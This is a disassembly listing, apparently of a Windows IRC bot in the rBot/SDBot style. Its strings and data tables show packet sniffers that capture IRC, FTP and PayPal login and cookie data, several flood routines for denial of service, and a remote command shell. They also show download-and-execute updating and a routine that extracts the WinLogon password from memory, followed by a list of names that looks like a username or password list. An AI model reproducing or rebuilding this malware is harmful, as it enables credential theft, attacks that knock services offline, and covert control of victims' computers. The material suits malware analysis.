		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043647Co
		align 10h
off_436CE0	dd offset word_505446	; DATA XREF: ___:00436478o
off_436CE4	dd offset dword_435208+41h ; DATA XREF:	___:00436474o
off_436CE8	dd offset word_544F42	; DATA XREF: ___:00436470o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EAA+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EAA+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EAA+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EAA+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EAA+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EAA+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EAA+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EAA+84o
a366		db '366 ',0             ; DATA XREF: sub_412EAA+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412EAA:loc_412F0Co
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EAA+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EAA+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EAA+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EAA+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412FC1+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412FC1:loc_413001o
					; sub_413037+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412FC1+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412FC1+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413037+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413037+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413037:loc_413088o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413037+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413037+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_4130BE+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_4130BE+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_4130BE+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_4130BE:loc_4130FEo
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_4130BE+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_4130BE+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413145+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413145+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413145+5o
		align 4
unk_436F5C	db  2Dh	; -		; DATA XREF: sub_4131AA+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436F94	db  2Dh	; -		; DATA XREF: sub_4131AA+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436FCC	db  2Dh	; -		; DATA XREF: sub_4131AA+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437000	db  2Dh	; -		; DATA XREF: sub_4131AA+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437034	db  2Dh	; -		; DATA XREF: sub_4131AA+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437068	db  2Dh	; -		; DATA XREF: sub_4131AA+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_437098	db  2Dh	; -		; DATA XREF: sub_4131AA+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4370EC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_41364F+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437314	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143AC+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437704	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415C76+35o
dword_437718	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415C76+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o
		align 10h
dword_437750	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415D8E:loc_415DC3o
dword_437764	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415D8E+20o
dword_437778	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415EDDo
		dd 6574656Ch, 0
dword_437794	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E40o
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437814	db  2Dh	; -		; DATA XREF: ___:00416274o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437838	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:004164D9o
					; ___:0041666Fo
		dd 726F72h
unk_437850	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43787C	db  2Dh	; -		; DATA XREF: ___:00416379o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_4378A0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00416342o
		dd 74756Fh
dword_4378B8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:004162E1o
		dd 169h
unk_4378D0	db  2Dh	; -		; DATA XREF: ___:0041629Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_4378F0	db  2Dh	; -		; DATA XREF: ___:004161F9o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437914	db  2Dh	; -		; DATA XREF: ___:004161BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437938	db  2Dh	; -		; DATA XREF: ___:004166E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: ___:004165E4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437984	db  2Dh	; -		; DATA XREF: ___:004165C4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:004165B0o
unk_4379B4	db  2Dh	; -		; DATA XREF: ___:0041659Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4379E4	db  2Dh	; -		; DATA XREF: ___:00416BE7o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437A10	db  2Dh	; -		; DATA XREF: ___:00416BD9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437A44	db  2Dh	; -		; DATA XREF: ___:00416B1Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437A88	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AACo
		dd 25206465h, 73h
unk_437AA4	db  2Dh	; -		; DATA XREF: ___:00416A35o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437ADC	db  2Dh	; -		; DATA XREF: ___:004169B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437B04	db  2Dh	; -		; DATA XREF: ___:0041692Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437B30	db  2Dh	; -		; DATA XREF: ___:004168E9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_437B58	db  2Dh	; -		; DATA XREF: ___:004168D7o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437B80	db  2Dh	; -		; DATA XREF: ___:004167CBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416CFC:loc_416D3Fo
					; sub_4193FF+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416CFC:loc_416D39o
aDisk		db 'Disk',0             ; DATA XREF: sub_416CFC:loc_416D33o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_416CFC:loc_416D2Do
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416CFC:loc_416D27o
		align 10h
off_437BD0	dd offset word_4D4152	; DATA XREF: sub_416CFC:loc_416D21o
word_437BD4	dw 3Fh			; DATA XREF: sub_416CFC+1Fo
					; sub_41AF2B:loc_41B02Dr
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416D8D:loc_416E65o
					; sub_416EA8+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416D8D+6Bo
		align 4
unk_437BE8	db  2Dh	; -		; DATA XREF: sub_416EA8+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437C24	db  2Dh	; -		; DATA XREF: sub_416EA8+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416F7A:loc_416FBFo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437CD0	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173E2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437D04	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173B5o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437D30	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173AEo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_437D68	db  2Dh	; -		; DATA XREF: sub_417269+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437DC4	dd offset byte_530055	; DATA XREF: sub_417269+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004A+3
		dd offset aHL		; "h$пl"
		dd 0
off_437DDC	dd offset byte_530055	; DATA XREF: sub_417269+CEo
		dd offset byte_520045
		dd offset loc_41004A+4
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417269+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o
					; sub_417269+161o ...
		align 10h
unk_437EA0	db  2Dh	; -		; DATA XREF: sub_417269+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_41743B+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_41743B+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_41743B+AFo
		align 4
dword_437EEC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178A1+70o
					; sub_417938+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437F3C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417938+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437F90	dd offset aQ		; DATA XREF: sub_417E35+5Cr
					; "q"
; ---------------------------------------------------------------------------
		inc	eax
		mov	eax, [ebx+0]
		mov	[ecx-394FFFBEh], dh
		inc	edx
		add	[esi+eax*8], ch
		inc	edx
		add	[ebx+ecx*4], bh
		inc	ebx
		add	ah, dl
		scasd
		inc	edx
		add	[eax-4FFFBD3Ah], al
		scasd
		inc	edx
		add	[eax], bl
		mov	dl, 42h
		add	[eax+380042C6h], cl
		mov	eax, [ebx+0]
		xor	al, 8Bh
		inc	ebx
		add	[eax], dh
		mov	eax, [ebx+0]
		sub	al, 8Bh
		inc	ebx
		add	[eax+680042B7h], al
		mov	bh, 42h
		add	[eax], ch
		mov	eax, [ebx+0]
		and	al, 8Bh
		inc	ebx
		add	[eax], ah
		mov	eax, [ebx+0]
		cld
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_438B1C
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438B18
		dd offset dword_438B14
		dd offset dword_438B10
		dd offset dword_438B0C
		dd offset dword_438B08
		dd offset word_438B04
		dd offset dword_438B00
		dd offset aI_0		; "I"
		dd offset dword_438AFC
		dd offset dword_438AF8
		dd offset aA_0		; "A"
		dd offset dword_438AF4
		dd offset dword_438AF0
		dd offset dword_438AEC
		dd offset dword_438AE8
		dd offset dword_438AE4
		dd offset dword_438AE0
		dd offset dword_438ADC
		dd offset dword_438AD8
		dd offset dword_438AD4
		dd offset dword_438AD0
		dd offset dword_438ACC
		dd offset dword_438AC8
		dd offset dword_438AC4
		dd offset word_438AC0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
